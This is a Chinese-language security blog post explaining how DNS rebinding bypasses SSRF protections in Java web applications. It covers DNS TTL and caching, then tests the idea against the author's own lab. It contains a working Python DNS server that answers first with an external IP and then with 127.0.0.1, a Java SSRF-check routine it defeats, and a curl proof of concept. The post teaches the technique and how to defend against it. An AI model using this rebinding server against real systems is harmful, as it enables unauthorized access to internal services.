JoyChou JoyChou

Use DNS Rebinding to Bypass SSRF in JAVA

Web 阅读(2244) 文章转载请注明来源!

1. 前言

本篇文章会比较详细的介绍,如何使用DNS Rebinding绕过Java中的SSRF。网上有蛮多资料介绍用该方法绕过常规的SSRF,但是由于Java的机制和PHP等语言不太一样。所以,我觉得,有必要单独拿出来聊一聊,毕竟目前很多甲方公司业务代码都是Java。

文章有任何理解错误,欢迎大家在文章下方评论指正。

2. SSRF修复逻辑

  1. 取URL的Host
  2. 取Host的IP
  3. 判断是否是内网IP,是内网IP直接return,不再往下执行
  4. 请求URL
  5. 如果有跳转,取出跳转URL,执行第1步
  6. 正常的业务逻辑里,当判断完成最后会去请求URL,实现业务逻辑。

所以,其中会发起DNS请求的步骤为,第2、4、6步,看来至少要请求3次。因为第6步至少会执行1次DNS请求。

另外,网上有很多不严谨的SSRF修复逻辑不会判断30x跳转,导致Bypass。

3. DNS Rebinding

我个人理解如下:

通过自己搭建DNS服务器,返回自己定义的IP,进行一些限制的绕过。

所以,我们可以利用DNS Rebinding在第一次发起DNS请求时,返回外网IP,后面全部返回内网IP 这种方式来绕过如上的修复逻辑。

我们来看下是如何绕过的。

首先,修复逻辑中第2步发起DNS请求,DNS服务器返回一个外网IP,通过验证,执行到第四步。
接着,修复逻辑中第4步会发起DNS请求,DNS服务器返回一个内网IP。此时,SSRF已经产生。

3.1 什么是TTL

TTL(Time To Live)是DNS缓存的时间。简单理解,假如一个域名的TTL为10s,当我们在这10s内,对该域名进行多次DNS请求,DNS服务器,只会收到一次请求,其他的都是缓存。

所以搭建的DNS服务器,需要设置TTL为0。如果不设置TTL为0,第二次DNS请求返回的是第一次缓存的外网IP,也就不能绕过了。

3.2 DNS解析过程

我们知道,访问一个域名,会先请求DNS服务器。DNS的解析过程,了解下来,还是有点复杂。

下面所有的远程DNS服务器都是指类似DNSPOD服务商DNS服务器。

我整理的DNS服务器请求过程如下:

  1. 查询本地是否有该域名的缓存记录,如果有,直接返回,完成域名解析。
  2. 如果本地没有该域名缓存记录,那查询 本地DNS服务器 (/etc/resolv.conf文件里配置的DNS地址)是否有该域名缓存,如果有,直接返回,完成域名解析。
  3. 如果 本地DNS服务器 /etc/resolv.conf是否有该域名的缓存或者该域名配置信息,如果有,直接返回,完成域名解析。
  4. 如果本地DNS服务器没有返回结果,那会请求13台根DNS服务器,最后,会请求到类似DNSPOD等DNS域名商,如果DNSPOD的DNS服务器有缓存就返回缓存的IP,如果没有缓存,返回解析后的IP。
  5. 最后将解析后的IP返回给本地DNS服务器,由本地DNS服务器再返回给客户机。

3.2.1 验证是否先查询/etc/hosts

测试dig /etc/hosts中的域名,返回不是文件中配置的IP。所以我理解为,单独的DNS请求过程不会走/etc/hosts,只是其他HTTP、ICMP协议会最先查询/etc/hosts文件。

3.2.2 验证 本地DNS服务器的解析过程

先在一台服务器10.17.20.20上使用dnsmasq搭建一个DNS服务器,配置访问google.com的域名返回1.1.1.1这个固定IP。配置如下:

resolv-file=/etc/resolv.dnsmasq.conf
listen-address=10.17.250.55
address=/google.com.hk/1.1.1.1 
strict-order 
no-negcache #远程请求没有缓存
log-queries 
log-facility=/var/log/dnsmasq/dnsmasq.log  # dnsmasq日志路径

用命令/etc/init.d/dnsmasq restart/start/stop 对dnsmasq服务进行操作。

接下来,修改Mac上/etc/resolv.conf内容为nameserver 10.17.20.20,将Mac的本地DNS服务器设置为10.17.20.20。

执行dig joychou.me命令,返回如下:

$ dig joychou.me

;; ANSWER SECTION:
joychou.me.        31    IN    A    47.52.77.204

;; AUTHORITY SECTION:
.            109606    IN    NS    c.root-servers.net.
.            109606    IN    NS    i.root-servers.net.
.            109606    IN    NS    j.root-servers.net.
.            109606    IN    NS    h.root-servers.net.
.            109606    IN    NS    f.root-servers.net.
.            109606    IN    NS    a.root-servers.net.
.            109606    IN    NS    k.root-servers.net.
.            109606    IN    NS    l.root-servers.net.
.            109606    IN    NS    d.root-servers.net.
.            109606    IN    NS    e.root-servers.net.
.            109606    IN    NS    g.root-servers.net.
.            109606    IN    NS    b.root-servers.net.
.            109606    IN    NS    m.root-servers.net.

;; ADDITIONAL SECTION:
i.root-servers.net.    238135    IN    A    192.36.148.17
h.root-servers.net.    184252    IN    A    198.97.190.53
l.root-servers.net.    162539    IN    A    199.7.83.42
a.root-servers.net.    7152    IN    A    198.41.0.4
b.root-servers.net.    353443    IN    A    192.228.79.201
m.root-servers.net.    178169    IN    A    202.12.27.33

;; Query time: 24 msec
;; SERVER: 10.17.250.55#53(10.17.250.55)
;; WHEN: Tue Sep 12 14:55:24 2017
;; MSG SIZE  rcvd: 351

可以看到,10.17.20.20服务器向13个根DNS服务器发起了DNS来获取joychou.me的IP地址。因为10.17.20.20 DNS服务器既没有joychou.me的缓存,也没有joychou.me的配置信息,所谓的配置信息是指,配置文件中的address=/google.com.hk/1.1.1.1配置。

我们可以用如下方式证明上面的结论。

再次执行dig joychou.me,在10.17.20.20服务器上使用命令sudo tail -f /var/log/dnsmasq/dnsmasq.log 查看日志。在dnsmasq的10.17.20.20服务器上收到日志如下:

Sep 12 15:00:05 dnsmasq[25571]: query[A] joychou.me from 172.17.31.112
Sep 12 15:00:05 dnsmasq[25571]: cached joychou.me is 47.52.77.204

这时的10.17.20.20 DNS服务器,由于有缓存,所以并没有向根DNS服务器发起请求,已经完成DNS解析。

执行dig www.goole.com.hk,在dnsmasq的10.17.20.20服务器上收到日志如下:

Sep 12 15:02:40 dnsmasq[25571]: query[A] www.google.com.hk from 172.17.31.112
Sep 12 15:02:40 dnsmasq[25571]: config www.google.com.hk is 1.1.1.1

这时的10.17.20.20 DNS服务器,由于有配置信息,所以并没有向根DNS服务器发起请求,已经完成DNS解析。

3.3 DNS缓存机制

平时使用的MAC和Windows电脑上,为了加快HTTP访问速度,系统都会进行DNS缓存。但是,在Linux上,默认不会进行DNS缓存(https://stackoverflow.com/questions/11020027/dns-caching-in-linux) ,除非运行nscd、dnsmasq等软件。一般有自己DNS需求的公司,会运行dnsmasq来配置自己的DNS服务器,这样就会在本地产生缓存。

不过,知道Linux默认不进行DNS缓存即可。这也解释了,我为什么同样的配置,我在MAC上配置不成功,Linux上配置可以。

需要注意的是,IP为8.8.8.8的DNS地址,该DNS服务器不会进行DNS缓存。这里分享一个小技巧:

$ dig dns_rebind.joychou.me

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 13, ADDITIONAL: 0

AUTHORITY为13,不为0,证明:

  • 本地无该域名的DNS缓存
  • 本地DNS服务器无该域名缓存
  • DNSPOD等域名服务商无该域名DNS缓存。

如果远程的DNS服务器设置的TTL不为0,当客户端第一次请求一个从来没访问的域名时,会从远程DNS服务器拿到返回的IP结果,拿到结果后,会把域名和IP缓存到本地DNS服务器上。这是我们需要知道。

4. 漏洞测试

准备如下环境:

  • Java Web应用
  • DNS服务器

我们要先了解下Java应用的TTL。Java应用的默认TTL为10s,这个默认配置会导致DNS Rebinding绕过失败。也就是说,默认情况下,Java应用不受DNS Rebinding影响。

Java TTL的值可以通过下面三种方式进行修改:

  1. JVM添加启动参数-Dsun.net.inetaddr.ttl=0
  2. 通过代码进行修改java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
  3. 修改/Library/Java/JavaVirtualMachines/jdk1.8.0_121.jdk/Contents/Home/jre/lib/security/java.security(我MAC下的路径)里的networkaddress.cache.negative.ttl=0

这个地方是个大坑,我之前在测试时,一直因为这个原因,导致测试不成功。

这也是利用DNS Rebinding过程中,Java和PHP不一样的地方。在测试PHP时,这份PHP代码用DNS Rebinding可以绕过,类似的代码Java就不能被绕过了。

4.1 SSRF漏洞搭建

用Java Spring写了一个漏洞测试地址为
http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me。URL会进行SSRF验证。

SSRF修复代码如下。也可以在Github上查看https://github.com/JoyChou93/trident

/*
        * check SSRF (判断逻辑为判断URL的IP是否是内网IP)
        * 如果是内网IP,返回false,表示checkSSRF不通过。否则返回true。即合法返回true
        * URL只支持HTTP协议
        * 设置了访问超时时间为3s
     */
    public static Boolean checkSSRF(String url) {

        HttpURLConnection connection;
        String finalUrl = url;
        try {
            do {
                // 判断当前请求的URL是否是内网ip
                Boolean bRet = isInnerIpFromUrl(finalUrl);
                if (bRet) {
                    return false;
                }

                connection = (HttpURLConnection) new URL(finalUrl).openConnection();
                connection.setInstanceFollowRedirects(false);
                connection.setUseCaches(false); // 设置为false,手动处理跳转,可以拿到每个跳转的URL
                connection.setConnectTimeout(3*1000); // 设置连接超时时间为3s
                //connection.setRequestMethod("GET");
                connection.connect(); // send dns request
                int responseCode = connection.getResponseCode(); // 发起网络请求 no dns request
                if (responseCode >= 300 && responseCode <=307 && responseCode != 304 && responseCode != 306) {
                    String redirectedUrl = connection.getHeaderField("Location");
                    if (null == redirectedUrl)
                        break;
                    finalUrl = redirectedUrl;
                    // System.out.println("redirected url: " + finalUrl);
                } else
                    break;
            } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK);
            connection.disconnect();
        } catch (Exception e) {
            return true;
        }
        return true;
    }

    /*
        内网IP:
        10.0.0.1 - 10.255.255.254       (10.0.0.0/8)
        192.168.0.1 - 192.168.255.254   (192.168.0.0/16)
        127.0.0.1 - 127.255.255.254     (127.0.0.0/8)
        172.16.0.1 - 172.31.255.254     (172.16.0.0/12)
    */
    public static boolean isInnerIp(String strIP) throws IOException {
        try{
            String[] ipArr = strIP.split("\\.");
            if (ipArr.length != 4){
                return false;
            }

            int ip_split1 = Integer.parseInt(ipArr[1]);

            return (ipArr[0].equals("10") ||
                    ipArr[0].equals("127") ||
                    (ipArr[0].equals("172") && ip_split1 >= 16 && ip_split1 <=31) ||
                    (ipArr[0].equals("192") && ipArr[1].equals("168")));
        }catch (Exception e) {
            return false;
        }

    }
    /*
        * 域名转换为IP
        * 会将各种进制的ip转为正常ip
        * 167772161转换为10.0.0.1
        * 127.0.0.1.xip.io转换为127.0.0.1
    */
    public static String DomainToIP(String domain) throws IOException{
        try {
            InetAddress IpAddress = InetAddress.getByName(domain); //  send dns request
            return IpAddress.getHostAddress();
        }
        catch (Exception e) {
            return "";
        }
    }

    /*
        从URL中获取域名
        限制为http/https协议
    */
    public static String getUrlDomain(String url) throws IOException{
        try {
            URL u = new URL(url);
            if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
                throw new IOException("Protocol error: " + u.getProtocol());
            }
            return u.getHost();
        } catch (Exception e) {
            return "";
        }

    }

4.2 搭建DNS服务器

域名配置如下:

domain_config

此时,当访问dns_rebind.joychou.me域名,先解析该域名的DNS域名为ns.joychou.mens.joychou.me指向47这台服务器。

DNS Server代码如下,放在47服务器上。其功能是将第一次DNS请求返回35.185.163.135,后面所有请求返回127.0.0.1

dns.py

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
    def _doDynamicResponse(self, query):
        name = query.name.name
        if name not in record or record[name]<1:
            ip = "35.185.163.135"
        else:
            ip = "127.0.0.1"
        if name not in record:
            record[name] = 0
        record[name] += 1
        print name + " ===> " + ip
        answer = dns.RRHeader(
            name = name,
            type = dns.A,
            cls = dns.IN,
            ttl = 0,
            payload = dns.Record_A(address = b'%s' % ip, ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional
    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))
def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )
    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()
if __name__ == '__main__':
    raise SystemExit(main())

运行python dns.py,dig查看下返回。

➜  security dig @8.8.8.8 dns_rebind.joychou.me

; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40376
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;dns_rebind.joychou.me.        IN    A

;; ANSWER SECTION:
dns_rebind.joychou.me.    0    IN    A    35.185.163.135

;; Query time: 203 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep  8 14:52:43 2017
;; MSG SIZE  rcvd: 55

➜  security dig @8.8.8.8 dns_rebind.joychou.me

; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14172
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;dns_rebind.joychou.me.        IN    A

;; ANSWER SECTION:
dns_rebind.joychou.me.    0    IN    A    127.0.0.1

;; Query time: 172 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep  8 14:52:45 2017
;; MSG SIZE  rcvd: 55

可以看到第一次返回35.185.163.135,第二次返回127.0.0.1。 dig加上@8.8.8.8是指定本地DNS地址为8.8.8.8,因为该地址不会有缓存。每dig一次,DNS Server都会收到一次请求。

4.3 绕过POC

curl 'http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me'

返回test.joychou.org页面内容It works.
在测试时,我把该服务器的80端口已经限制为只有本地能访问,所以,我们的POC已经绕过内网的限制。

最后,来回顾下,这个POC的DNS解析过程是怎样的。
test.joychou.org服务器A通过JAVA请求http://dns_rebind.joychou.me URL,根据3.2的解析过程,可以发现服务器A,每次都会去远程的DNS服务器拿结果,因为本地和本地DNS服务器都不会有缓存。

5. 总结

  • Java默认不存在被DNS Rebinding绕过风险(TTL默认为10)
  • PHP默认会被DNS Rebinding绕过
  • Linux默认不会进行DNS缓存

6. 参考

JoyChou WeChat Pay

微信打赏

JoyChou Alipay

支付宝打赏

发表新评论
博客已经运行
© Powered by JoyChou (2013-2017)
前篇 后篇
雷姆
拉姆